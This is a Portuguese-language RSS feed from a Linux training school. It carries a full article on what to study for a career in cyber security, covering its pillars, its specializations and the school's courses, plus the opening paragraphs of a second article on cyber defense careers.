<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Segurança da Informação &#8211; Linux Force Security</title>
	<atom:link href="https://linuxforce.com.br/category/seguranca-da-informacao/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxforce.com.br</link>
	<description>Aprenda Linux do básico ao avançado com instrutores especialistas. Cursos ao vivo de Linux, Segurança da Informação, Devops e preparação para a certificação LPI.</description>
	<lastBuildDate>Thu, 30 Jul 2026 19:47:15 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxforce.com.br/wp-content/uploads/2025/02/favicon-linux-force-security.png</url>
	<title>Segurança da Informação &#8211; Linux Force Security</title>
	<link>https://linuxforce.com.br</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Cyber Security: o que estudar para entrar na área e construir uma carreira em segurança digital</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/cyber-security/</link>
					<comments>https://linuxforce.com.br/seguranca-da-informacao/cyber-security/#respond</comments>
		
		<dc:creator><![CDATA[Arthur GuessLess]]></dc:creator>
		<pubDate>Thu, 30 Jul 2026 19:25:34 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://linuxforce.com.br/?p=5123</guid>

					<description><![CDATA[Nunca se produziu, compartilhou e armazenou tanta informação quanto nos últimos anos. Empresas migraram suas operações para a nuvem, adotaram inteligência artificial, automatizaram processos e passaram a depender cada vez mais de sistemas conectados para manter suas atividades. Ao mesmo tempo em que essa transformação trouxe ganhos de produtividade, ela também ampliou os riscos digitais. [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Nunca se produziu, compartilhou e armazenou tanta informação quanto nos últimos anos.</p>



<p class="wp-block-paragraph">Empresas migraram suas operações para a nuvem, adotaram inteligência artificial, automatizaram processos e passaram a depender cada vez mais de sistemas conectados para manter suas atividades.</p>



<p class="wp-block-paragraph">Ao mesmo tempo em que essa transformação trouxe ganhos de produtividade, ela também ampliou os riscos digitais. Hoje, ataques cibernéticos deixaram de ser um problema restrito a grandes empresas de tecnologia e passaram a atingir organizações de todos os portes e segmentos.</p>



<p class="wp-block-paragraph">Segundo o relatório <a href="https://www.ibm.com/reports/data-breach" rel="nofollow noopener">Cost of a Data Breach 2024</a>, da IBM, o custo médio global de um vazamento de dados chegou a US$ 4,88 milhões, o maior valor já registrado pela pesquisa e um crescimento de 10% em relação ao ano anterior.</p>



<p class="wp-block-paragraph">Já o estudo <a href="https://www.isc2.org/research" rel="nofollow noopener">Cybersecurity Workforce Study 2024</a>, da ISC², aponta que o mundo enfrenta um déficit superior a 4,7 milhões de profissionais de cibersegurança. Em outras palavras, a quantidade de vagas cresce em um ritmo muito maior do que a formação de especialistas capazes de ocupá-las.</p>



<p class="wp-block-paragraph">Esse cenário faz com que áreas como Cloud Security, DevSecOps, Threat Intelligence, Resposta a Incidentes e Segurança Ofensiva estejam entre as especializações mais valorizadas da tecnologia atualmente.</p>



<p class="wp-block-paragraph">Mas, diante de tantas possibilidades, surge uma dúvida comum para quem deseja ingressar nesse mercado: <strong>o que é preciso estudar para trabalhar com Cyber Security?</strong></p>



<p class="wp-block-paragraph">Segundo André Vasconcelos, Consultor em Segurança da Informação da Linux Force, quem deseja construir uma carreira na área precisa entender que a segurança digital começa pelos fundamentos da tecnologia.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em><em>&#8220;O mercado de Cyber Security está cada vez mais exigente. As empresas não procuram apenas profissionais que dominem ferramentas específicas, mas pessoas capazes de compreender o funcionamento dos ambientes tecnológicos e tomar decisões rápidas diante de incidentes.</em></em></p>



<p class="wp-block-paragraph"><em>Uma base sólida em redes de computadores, sistemas operacionais — principalmente Linux —, protocolos de comunicação e administração de servidores continua sendo essencial. A partir desse conhecimento, entram competências como análise de vulnerabilidades, hardening de sistemas, monitoramento, resposta a incidentes, segurança em nuvem e automação com scripts.&#8221;</em></p>
</blockquote>
</blockquote>



<p class="wp-block-paragraph">Neste artigo, você vai entender o que faz um profissional de Cyber Security, quais são as principais áreas de atuação, se é realmente necessário saber programação e qual é o caminho mais eficiente para começar sua carreira.</p>



<h2 class="wp-block-heading"><strong>O que é Cyber Security?&nbsp;</strong></h2>



<p class="wp-block-paragraph">Cyber Security (ou Segurança Cibernética) é a área responsável por proteger sistemas, redes, aplicações, dispositivos e dados contra ataques digitais, acessos não autorizados, vazamentos de informações e outras ameaças que possam comprometer o funcionamento de uma organização.</p>



<p class="wp-block-paragraph">Na prática, o objetivo da Cyber Security é garantir que as empresas consigam operar com segurança, preservando três pilares fundamentais da informação:</p>



<ul class="wp-block-list">
<li><strong>Confidencialidade:</strong> garantir que apenas pessoas autorizadas tenham acesso às informações.</li>



<li><strong>Integridade:</strong> assegurar que os dados não sejam alterados de forma indevida.</li>



<li><strong>Disponibilidade:</strong> manter sistemas e informações acessíveis sempre que forem necessários.</li>
</ul>



<p class="wp-block-paragraph">Para isso, os profissionais da área trabalham continuamente na identificação de vulnerabilidades, monitoramento de ambientes, prevenção de ataques e resposta rápida a incidentes quando eles acontecem.</p>



<p class="wp-block-paragraph">Ou seja, Cyber Security não se resume a impedir invasões. Ela também envolve criar processos, implementar controles, fortalecer infraestruturas e reduzir riscos antes mesmo que um ataque aconteça.</p>



<p class="wp-block-paragraph">É justamente essa atuação preventiva que faz da segurança cibernética um dos pilares estratégicos das empresas modernas.</p>



<h3 class="wp-block-heading"><strong>Cyber Security e Segurança da Informação: existe diferença?</strong></h3>



<p class="wp-block-paragraph">Embora os termos sejam frequentemente utilizados como sinônimos, eles não representam exatamente a mesma coisa.</p>



<p class="wp-block-paragraph">A <strong>Segurança da Informação</strong> é um conceito mais amplo. Ela reúne políticas, processos, normas e boas práticas voltadas à proteção das informações de uma organização, independentemente do formato em que elas estejam armazenadas — seja em documentos físicos, arquivos digitais, bancos de dados ou até no conhecimento das pessoas.</p>



<p class="wp-block-paragraph">Já a <strong>Cyber Security</strong> concentra sua atuação na proteção dos ativos digitais conectados. Seu foco está em prevenir, detectar e responder a ameaças que possam comprometer sistemas, aplicações, redes e dispositivos.</p>



<p class="wp-block-paragraph">De forma simplificada, podemos dizer que:</p>



<ul class="wp-block-list">
<li><strong>Segurança da Informação</strong> define as estratégias, políticas e diretrizes para proteger os dados da organização.</li>



<li><strong>Cyber Security</strong> coloca essas estratégias em prática no ambiente digital, utilizando tecnologias, monitoramento e processos para proteger a infraestrutura contra ataques.</li>
</ul>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="1024" height="575" src="https://linuxforce.com.br/wp-content/uploads/2026/07/img-2-Cyber-Security-e-Seguranca-da-Informacao_-existe-diferenca_.jpg" alt="" class="wp-image-5127" srcset="https://linuxforce.com.br/wp-content/uploads/2026/07/img-2-Cyber-Security-e-Seguranca-da-Informacao_-existe-diferenca_.jpg 1024w, https://linuxforce.com.br/wp-content/uploads/2026/07/img-2-Cyber-Security-e-Seguranca-da-Informacao_-existe-diferenca_-300x168.jpg 300w, https://linuxforce.com.br/wp-content/uploads/2026/07/img-2-Cyber-Security-e-Seguranca-da-Informacao_-existe-diferenca_-768x431.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Na prática, as duas áreas trabalham de forma integrada. Enquanto a Segurança da Informação estabelece regras e objetivos de proteção, a Cyber Security atua diretamente para impedir que ameaças digitais coloquem essas informações em risco.</p>



<p class="wp-block-paragraph">Essa integração é cada vez mais importante à medida que empresas adotam novas tecnologias, migram para ambientes em nuvem e ampliam sua presença digital. Afinal, quanto maior a dependência da tecnologia, maior também é a necessidade de proteger toda essa infraestrutura.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1024" height="575" src="https://linuxforce.com.br/wp-content/uploads/2026/07/img-3-Por-que-Cyber-Security-e-uma-das-areas-que-mais-crescem-na-tecnologia_.jpg" alt="" class="wp-image-5126" srcset="https://linuxforce.com.br/wp-content/uploads/2026/07/img-3-Por-que-Cyber-Security-e-uma-das-areas-que-mais-crescem-na-tecnologia_.jpg 1024w, https://linuxforce.com.br/wp-content/uploads/2026/07/img-3-Por-que-Cyber-Security-e-uma-das-areas-que-mais-crescem-na-tecnologia_-300x168.jpg 300w, https://linuxforce.com.br/wp-content/uploads/2026/07/img-3-Por-que-Cyber-Security-e-uma-das-areas-que-mais-crescem-na-tecnologia_-768x431.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h2 class="wp-block-heading"><strong>Por que Cyber Security é uma das áreas que mais crescem na tecnologia?</strong></h2>



<p class="wp-block-paragraph">Se há alguns anos a segurança digital era vista como uma preocupação exclusiva do setor de TI, hoje ela passou a fazer parte da estratégia de negócios.</p>



<p class="wp-block-paragraph">Afinal, um único incidente de segurança pode interromper operações, comprometer dados de clientes, gerar prejuízos financeiros e afetar diretamente a reputação de uma empresa.</p>



<p class="wp-block-paragraph">Nesse cenário, investir em segurança deixou de ser apenas uma medida preventiva e passou a ser uma necessidade para organizações de todos os portes.</p>



<p class="wp-block-paragraph">Esse movimento explica por que a demanda por profissionais especializados cresce ano após ano.</p>



<h3 class="wp-block-heading"><strong>Empresas estão cada vez mais conectadas</strong></h3>



<p class="wp-block-paragraph">Com as organizações praticamente acelerando seus processos de digitalização, sistemas migraram para a nuvem, equipes passaram a trabalhar remotamente e aplicações se tornaram mais integradas.</p>



<p class="wp-block-paragraph">Isso sem falar da inteligência artificial, que começou a fazer parte da rotina das empresas.</p>



<p class="wp-block-paragraph">Hoje é comum que uma mesma empresa utilize dezenas de aplicações conectadas entre si, APIs para integrar sistemas, plataformas em múltiplas nuvens (multi-cloud), containers, automações e ferramentas colaborativas.</p>



<p class="wp-block-paragraph">Por mais que os ganhos sejam significativos em produtividade e escalabilidade, isso também impacta a chamada superfície de ataque, que é a quantidade de pontos que podem ser explorados por criminosos virtuais.</p>



<p class="wp-block-paragraph">Cada servidor, dispositivo, aplicação, usuário ou integração representa uma possível porta de entrada para ataques caso não exista uma estratégia adequada de proteção.</p>



<p class="wp-block-paragraph">É justamente nesse contexto que profissionais de Cyber Security se tornam indispensáveis: eles ajudam as empresas a identificar riscos, reduzir vulnerabilidades e proteger toda essa infraestrutura digital.</p>



<p class="wp-block-paragraph"><a href="https://linuxforce.com.br/seguranca-da-informacao/defesa-cibernetica/">Entenda como a defesa cibernética atua para impedir as ameaças digitais mais comuns</a></p>



<h2 class="wp-block-heading"><strong>O futuro da Cyber Security: por que a área deve continuar crescendo?</strong></h2>



<p class="wp-block-paragraph">Se o presente já é promissor, as perspectivas para os próximos anos são ainda mais positivas.</p>



<p class="wp-block-paragraph">Tecnologias como inteligência artificial, Internet das Coisas (IoT), computação em nuvem, 5G e automação continuarão ampliando a quantidade de dispositivos, aplicações e dados conectados à internet.</p>



<p class="wp-block-paragraph">Ao mesmo tempo, novas regulamentações relacionadas à proteção de dados e privacidade exigirão que empresas invistam cada vez mais em segurança digital.</p>



<p class="wp-block-paragraph">Essa combinação cria um cenário em que a Cyber Security deixa de acompanhar apenas o crescimento da tecnologia: ela passa a crescer junto com praticamente todas as áreas da economia.</p>



<p class="wp-block-paragraph">Para quem deseja construir uma carreira sólida em tecnologia, isso significa uma oportunidade de atuar em um mercado dinâmico, com alta demanda por profissionais qualificados e constante evolução tecnológica.</p>



<h2 class="wp-block-heading"><strong>O futuro da Cyber Security: por que a área deve continuar crescendo?</strong></h2>



<p class="wp-block-paragraph">Se o presente já é promissor, as perspectivas para os próximos anos são ainda mais positivas.</p>



<p class="wp-block-paragraph">Tecnologias como inteligência artificial, Internet das Coisas (IoT), computação em nuvem, 5G e automação continuarão ampliando a quantidade de dispositivos, aplicações e dados conectados à internet.</p>



<p class="wp-block-paragraph">Ao mesmo tempo, novas regulamentações relacionadas à proteção de dados e privacidade exigirão que empresas invistam cada vez mais em segurança digital.</p>



<p class="wp-block-paragraph">Essa combinação cria um cenário em que a Cyber Security deixa de acompanhar apenas o crescimento da tecnologia: ela passa a crescer junto com praticamente todas as áreas da economia.</p>



<p class="wp-block-paragraph">Para quem deseja construir uma carreira sólida em tecnologia, isso significa uma oportunidade de atuar em um mercado dinâmico, com alta demanda por profissionais qualificados e constante evolução tecnológica.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1024" height="575" src="https://linuxforce.com.br/wp-content/uploads/2026/07/img-4-O-que-faz-um-profissional-de-Cyber-Security_.jpg" alt="" class="wp-image-5125" srcset="https://linuxforce.com.br/wp-content/uploads/2026/07/img-4-O-que-faz-um-profissional-de-Cyber-Security_.jpg 1024w, https://linuxforce.com.br/wp-content/uploads/2026/07/img-4-O-que-faz-um-profissional-de-Cyber-Security_-300x168.jpg 300w, https://linuxforce.com.br/wp-content/uploads/2026/07/img-4-O-que-faz-um-profissional-de-Cyber-Security_-768x431.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h2 class="wp-block-heading"><strong>O que faz um profissional de Cyber Security?</strong></h2>



<p class="wp-block-paragraph">Dependendo do porte da empresa e do nível de especialização, esse profissional pode participar desde a criação de políticas de segurança até o monitoramento contínuo de ambientes críticos.</p>



<p class="wp-block-paragraph">Entre as principais atividades estão:</p>



<h3 class="wp-block-heading"><strong>Monitoramento de ambientes e redes</strong></h3>



<p class="wp-block-paragraph">Uma das funções mais importantes da Cyber Security é acompanhar continuamente servidores, aplicações, dispositivos e redes em busca de comportamentos suspeitos.</p>



<p class="wp-block-paragraph">O objetivo é identificar rapidamente acessos indevidos, tentativas de invasão, movimentações incomuns ou qualquer atividade que possa representar um risco para a organização.</p>



<h3 class="wp-block-heading"><strong>Análise de vulnerabilidades</strong></h3>



<p class="wp-block-paragraph">Antes que uma falha seja explorada por criminosos, é preciso encontrá-la.</p>



<p class="wp-block-paragraph">Por isso, profissionais da área realizam análises periódicas em sistemas, aplicações e infraestruturas para identificar vulnerabilidades, avaliar riscos e recomendar melhorias que fortaleçam a segurança do ambiente.</p>



<h3 class="wp-block-heading"><strong>Resposta a incidentes</strong></h3>



<p class="wp-block-paragraph">Mesmo com uma boa estratégia de prevenção, incidentes podem acontecer. Nesses casos, equipes de Cyber Security atuam para conter ataques, investigar suas causas, minimizar impactos e restaurar a operação o mais rapidamente possível.</p>



<p class="wp-block-paragraph">Quanto menor o tempo de resposta, menores costumam ser os prejuízos para a empresa.</p>



<h3 class="wp-block-heading"><strong>Hardening e proteção de servidores</strong></h3>



<p class="wp-block-paragraph">Outra responsabilidade importante é fortalecer a segurança dos ambientes utilizados pela organização.</p>



<p class="wp-block-paragraph">Esse processo, conhecido como <strong>hardening</strong>, consiste em configurar servidores, sistemas operacionais e aplicações de forma mais segura, reduzindo vulnerabilidades e eliminando configurações desnecessárias que possam facilitar ataques.</p>



<h3 class="wp-block-heading"><strong>Controle de acessos</strong></h3>



<p class="wp-block-paragraph">Nem todo risco vem de fora. Grande parte dos incidentes está relacionada ao uso inadequado de credenciais ou permissões excessivas.</p>



<p class="wp-block-paragraph">Por isso, profissionais de Cyber Security também atuam na definição de políticas de acesso, autenticação, gerenciamento de usuários e proteção de identidades digitais.</p>



<h3 class="wp-block-heading"><strong>Segurança em Cloud</strong></h3>



<p class="wp-block-paragraph">Com a migração das empresas para a nuvem, proteger ambientes cloud tornou-se uma das especializações mais importantes da área.</p>



<p class="wp-block-paragraph">Nesse contexto, o profissional trabalha para garantir que máquinas virtuais, bancos de dados, aplicações e serviços hospedados em plataformas como AWS, Microsoft Azure e Google Cloud estejam configurados corretamente e protegidos contra acessos indevidos.</p>



<p class="wp-block-paragraph">Para André Vasconcelos, além do conhecimento técnico, o mercado busca profissionais capazes de desenvolver competências que vão além das ferramentas.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>&#8220;Destacam-se profissionais com pensamento analítico, curiosidade, capacidade de investigação e aprendizado contínuo. A segurança da informação evolui diariamente, e quem se mantém atualizado possui uma vantagem competitiva significativa.</em></p>



<p class="wp-block-paragraph"><em>Outro diferencial importante é a experiência prática. Laboratórios, simulações de ataques e defesa, ambientes virtualizados e resolução de problemas reais desenvolvem competências que o mercado valoriza muito mais do que apenas conhecimento teórico.&#8221;</em></p>
</blockquote>
</blockquote>



<h3 class="wp-block-heading"><strong>Principais áreas de especialização em Cyber Security</strong></h3>



<p class="wp-block-paragraph">Uma das maiores vantagens da Cyber Security é a possibilidade de seguir diferentes caminhos ao longo da carreira.</p>



<p class="wp-block-paragraph">Conforme desenvolve novos conhecimentos e ganha experiência prática, o profissional pode escolher áreas mais alinhadas ao seu perfil — seja atuando na prevenção de ataques, investigando incidentes ou desenvolvendo estratégias de proteção para grandes infraestruturas.</p>



<p class="wp-block-paragraph">Conheça algumas das especializações mais procuradas pelo mercado.</p>



<ul class="wp-block-list">
<li><strong>Blue Team</strong>, responsáveis pela defesa dos ambientes corporativos.</li>
</ul>



<p class="wp-block-paragraph">Seu trabalho envolve monitorar sistemas, detectar ameaças, responder a incidentes e implementar controles capazes de reduzir riscos e fortalecer a segurança da organização.</p>



<ul class="wp-block-list">
<li><strong>Red Team</strong>, focado em simular ataques reais.</li>
</ul>



<p class="wp-block-paragraph">Esses especialistas realizam testes controlados para identificar vulnerabilidades antes que elas sejam exploradas por criminosos, ajudando empresas a fortalecer suas defesas.</p>



<ul class="wp-block-list">
<li><strong>SOC Analyst</strong> acompanha continuamente alertas e eventos de segurança.</li>
</ul>



<p class="wp-block-paragraph">O profissional de Security Operations Center é responsável por identificar comportamentos suspeitos, investigar possíveis incidentes e iniciar respostas rápidas quando necessário.</p>



<ul class="wp-block-list">
<li><strong>Pentester</strong> (ou Testador de Invasão) busca falhas de segurança utilizando técnicas semelhantes às empregadas por atacantes.</li>
</ul>



<p class="wp-block-paragraph">Seu objetivo é encontrar vulnerabilidades antes que elas representem riscos reais para a empresa.</p>



<ul class="wp-block-list">
<li><strong>Cloud Security</strong> é uma especialização voltada para proteção de ambientes em nuvem.</li>
</ul>



<p class="wp-block-paragraph">O profissional atua na configuração segura de serviços, controle de acessos, proteção de dados e conformidade em plataformas como AWS, Azure e Google Cloud.</p>



<ul class="wp-block-list">
<li><strong>DevSecOps</strong> integra segurança ao processo de desenvolvimento de software.</li>
</ul>



<p class="wp-block-paragraph">Em vez de analisar riscos apenas no final do projeto, a segurança passa a fazer parte de todo o ciclo de desenvolvimento, desde a criação até a implantação das aplicações.</p>



<ul class="wp-block-list">
<li><strong>Threat Intelligence</strong> trabalha para prever e prevenir novos incidentes.</li>
</ul>



<p class="wp-block-paragraph">Responsáveis por estudar o comportamento de grupos criminosos, identificar tendências de ataques e produzir informações que ajudem empresas a antecipar riscos.</p>



<p class="wp-block-paragraph">Essa diversidade de especializações permite que cada profissional construa uma carreira alinhada aos seus interesses, escolhendo caminhos mais técnicos, estratégicos, ofensivos ou voltados para gestão da segurança.</p>



<h3 class="wp-block-heading"><strong>É preciso saber programação para trabalhar com Cyber Security?</strong></h3>



<p class="wp-block-paragraph">Essa é, provavelmente, uma das dúvidas mais comuns de quem deseja ingressar na área. A resposta curta é: não necessariamente.</p>



<p class="wp-block-paragraph">Embora conhecimentos de programação possam representar um diferencial em algumas especializações, eles não costumam ser o primeiro requisito para iniciar uma carreira em Cyber Security.</p>



<p class="wp-block-paragraph">Na verdade, antes de aprender linguagens como Python, Java ou C++, é muito mais importante compreender como os ambientes tecnológicos funcionam.</p>



<p class="wp-block-paragraph">Afinal, não é possível proteger aquilo que você ainda não conhece.</p>



<p class="wp-block-paragraph">Por isso, profissionais de Cyber Security normalmente constroem sua base desenvolvendo conhecimentos em:</p>



<ul class="wp-block-list">
<li>sistemas operacionais, especialmente Linux;</li>



<li>redes de computadores;</li>



<li>infraestrutura de servidores;</li>



<li>protocolos de comunicação;</li>



<li>virtualização e cloud computing;</li>



<li>administração de ambientes corporativos.</li>
</ul>



<p class="wp-block-paragraph">Somente depois de compreender esses fundamentos é que linguagens de programação passam a fazer sentido em determinadas áreas, como automação de processos, desenvolvimento de ferramentas de segurança ou testes mais avançados.</p>



<p class="wp-block-paragraph">Em outras palavras, programação pode ampliar as possibilidades de atuação, mas dificilmente substitui uma base sólida em infraestrutura.</p>



<p class="wp-block-paragraph">É justamente essa combinação de conhecimentos que permite ao profissional evoluir para especializações cada vez mais valorizadas pelo mercado.</p>



<h2 class="wp-block-heading"><strong>Então como começar uma carreira em Cyber Security?</strong></h2>



<p class="wp-block-paragraph">Assim como em qualquer outra carreira da tecnologia, a evolução para quem quer entrar na área de Cyber Security precisa acontecer de forma gradual.</p>



<p class="wp-block-paragraph">É necessário aprender os fundamentos, desenvolver a prática e ampliar seus conhecimentos ao longo do tempo.</p>



<p class="wp-block-paragraph">O segredo está em seguir uma trilha de aprendizado estruturada, construindo uma base sólida antes de partir para tecnologias mais avançadas.</p>



<ul class="wp-block-list">
<li><strong>Domine o básico: </strong>antes de proteger um ambiente, é preciso entender como ele funciona. É por isso que profissionais da área costumam iniciar sua formação aprendendo Linux, redes e infraestrutura.</li>
</ul>



<p class="wp-block-paragraph">Segundo André Vasconcelos, um dos erros mais comuns de quem inicia na área é tentar aprender assuntos avançados antes de dominar os fundamentos.</p>



<p class="wp-block-paragraph">Esse primeiro conhecimento permite compreender como aplicações se comunicam, como usuários acessam sistemas, como os servidores são administrados e quais são os principais pontos de vulnerabilidade dentro de um ambiente corporativo.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>&#8220;É comum encontrar iniciantes buscando conteúdos sobre Pentest, Red Team ou Ethical Hacking sem conhecer profundamente redes, Linux, Windows Server ou conceitos básicos de administração de sistemas. Isso cria uma base frágil e dificulta a evolução profissional.”</em></p>
</blockquote>
</blockquote>



<ul class="wp-block-list">
<li><strong>Evolua para os conhecimentos específicos: </strong>aprofunde os conhecimentos em segurança, bem como inclua a prática na rotina.</li>
</ul>



<p class="wp-block-paragraph">Na avaliação do especialista, a prática faz parte do aprendizado e serve como um complemento da formação.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>&#8220;A segurança da informação é uma área extremamente prática. Criar laboratórios, instalar máquinas virtuais, configurar servidores, utilizar distribuições Linux, analisar logs e resolver problemas reais acelera significativamente o aprendizado.</em></p>



<p class="wp-block-paragraph"><em>A melhor forma de evitar os erros comuns é seguir uma trilha de aprendizagem estruturada, evoluindo dos fundamentos para conteúdos mais avançados e praticando constantemente em ambientes controlados.&#8221;</em></p>
</blockquote>
</blockquote>



<ul class="wp-block-list">
<li><strong>Aposte nas certificações para fortalecer a carreira:</strong> além de validar conhecimentos técnicos, elas demonstram comprometimento com a evolução profissional e podem representar um diferencial em processos seletivos.</li>
</ul>



<h2 class="wp-block-heading"><strong>Como a Linux Force prepara profissionais para atuar em Cyber Security</strong></h2>



<p class="wp-block-paragraph">Construir uma carreira em Cyber Security exige muito mais do que aprender ferramentas específicas ou decorar comandos.</p>



<p class="wp-block-paragraph">Os profissionais mais valorizados pelo mercado compartilham uma característica em comum: todos desenvolveram uma base sólida em infraestrutura, sistemas operacionais, redes e administração de ambientes Linux antes de avançar para especializações mais complexas.</p>



<p class="wp-block-paragraph">É justamente essa lógica que orienta a metodologia da Linux Force.</p>



<p class="wp-block-paragraph">Mais do que oferecer cursos isolados, a escola prepara seus alunos para compreender como os ambientes corporativos funcionam na prática, desenvolvendo competências que servirão de base para diferentes áreas da tecnologia, incluindo Cloud Computing, DevOps e Segurança da Informação.</p>



<p class="wp-block-paragraph">Para André Vasconcelos, a principal diferença entre uma formação estruturada e o estudo totalmente autodidata está na organização da jornada de aprendizagem.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>&#8220;Uma formação estruturada conduz o aluno por uma sequência lógica de aprendizado. Cada módulo prepara o conhecimento necessário para o próximo, reduzindo lacunas técnicas e acelerando a evolução.”</em></p>
</blockquote>
</blockquote>



<h3 class="wp-block-heading"><strong>Uma formação pensada para o mercado</strong></h3>



<p class="wp-block-paragraph">A metodologia da Linux Force foi desenvolvida para aproximar o aluno da realidade encontrada nas empresas.</p>



<p class="wp-block-paragraph">Ao longo da formação, os estudantes aprendem a trabalhar com laboratórios práticos, ambientes semelhantes aos utilizados pelo mercado e desafios que estimulam o desenvolvimento do raciocínio técnico.</p>



<p class="wp-block-paragraph">Essa abordagem permite compreender não apenas <strong>como executar uma tarefa</strong>, mas principalmente <strong>por que ela é importante</strong> e <strong>como aplicá-la para resolver problemas reais</strong>.</p>



<p class="wp-block-paragraph">Além disso, os alunos contam com:</p>



<ul class="wp-block-list">
<li>aulas 100% ao vivo;</li>



<li>professores especialistas com experiência de mercado;</li>



<li>acompanhamento próximo durante o aprendizado;</li>



<li>laboratórios práticos;</li>



<li>preparação para certificações reconhecidas;</li>



<li>uma trilha de estudos organizada, que evita lacunas de conhecimento e acelera a evolução profissional.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://linuxforce.com.br/cursos/curso-online-ao-vivo-ou-gravado/">Curso online ao vivo ou gravado: qual formato realmente acelera seu aprendizado em TI?</a></p>



<p class="wp-block-paragraph">A <strong>Linux Force</strong> oferece essa jornada por meio de formações estruturadas, aulas 100% ao vivo, laboratórios práticos e acompanhamento de especialistas que conhecem os desafios reais do mercado.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>“Na Linux Force, os treinamentos priorizam uma abordagem prática, baseada em cenários reais encontrados nas empresas. O aluno desenvolve competências que vão além da teoria, adquirindo experiência com ferramentas, sistemas Linux, infraestrutura e técnicas de segurança amplamente utilizadas pelo mercado, reduzindo o tempo entre o aprendizado e a aplicação profissional.&#8221;</em> </p>
</blockquote>
</blockquote>



<p class="wp-block-paragraph">Mais do que ensinar tecnologia, a proposta é preparar profissionais para construir uma carreira sólida e duradoura em Cyber Security.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1024" height="575" src="https://linuxforce.com.br/wp-content/uploads/2026/07/img-5-Banner-final.jpg" alt="" class="wp-image-5124" srcset="https://linuxforce.com.br/wp-content/uploads/2026/07/img-5-Banner-final.jpg 1024w, https://linuxforce.com.br/wp-content/uploads/2026/07/img-5-Banner-final-300x168.jpg 300w, https://linuxforce.com.br/wp-content/uploads/2026/07/img-5-Banner-final-768x431.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxforce.com.br/seguranca-da-informacao/cyber-security/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Defesa Cibernética: por que essa é uma das profissões mais promissoras da próxima década</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/defesa-cibernetica/</link>
					<comments>https://linuxforce.com.br/seguranca-da-informacao/defesa-cibernetica/#respond</comments>
		
		<dc:creator><![CDATA[adm_linxfs]]></dc:creator>
		<pubDate>Thu, 18 Jun 2026 18:07:37 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://linuxforce.com.br/?p=5064</guid>

					<description><![CDATA[A transformação digital acelerou a forma como empresas operam, armazenam dados e se conectam com clientes. Mas, junto com essa evolução, cresceram também os riscos digitais — e, com eles, a importância da defesa cibernética. Ataques cibernéticos, vazamentos de dados, ransomwares e invasões corporativas se tornaram parte da realidade de empresas de todos os tamanhos [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">A transformação digital acelerou a forma como empresas operam, armazenam dados e se conectam com clientes. Mas, junto com essa evolução, cresceram também os riscos digitais — e, com eles, a importância da defesa cibernética.</p>



<p class="wp-block-paragraph">Ataques cibernéticos, vazamentos de dados, ransomwares e invasões corporativas se tornaram parte da realidade de empresas de todos os tamanhos — e o impacto financeiro dessas ameaças nunca foi tão alto.</p>



<p class="wp-block-paragraph">Segundo o relatório <em><a href="https://newsroom.ibm.com/2024-07-30-ibm-report-escalating-data-breach-disruption-pushes-costs-to-new-highs" target="_blank" data-type="link" data-id="https://newsroom.ibm.com/2024-07-30-ibm-report-escalating-data-breach-disruption-pushes-costs-to-new-highs" rel="noreferrer noopener nofollow">Cost of a Data Breach 2024</a></em>, da IBM, o custo médio global de um vazamento de dados chegou a US$ 4,88 milhões em 2024, registrando um aumento de 10% em relação ao ano anterior.</p>



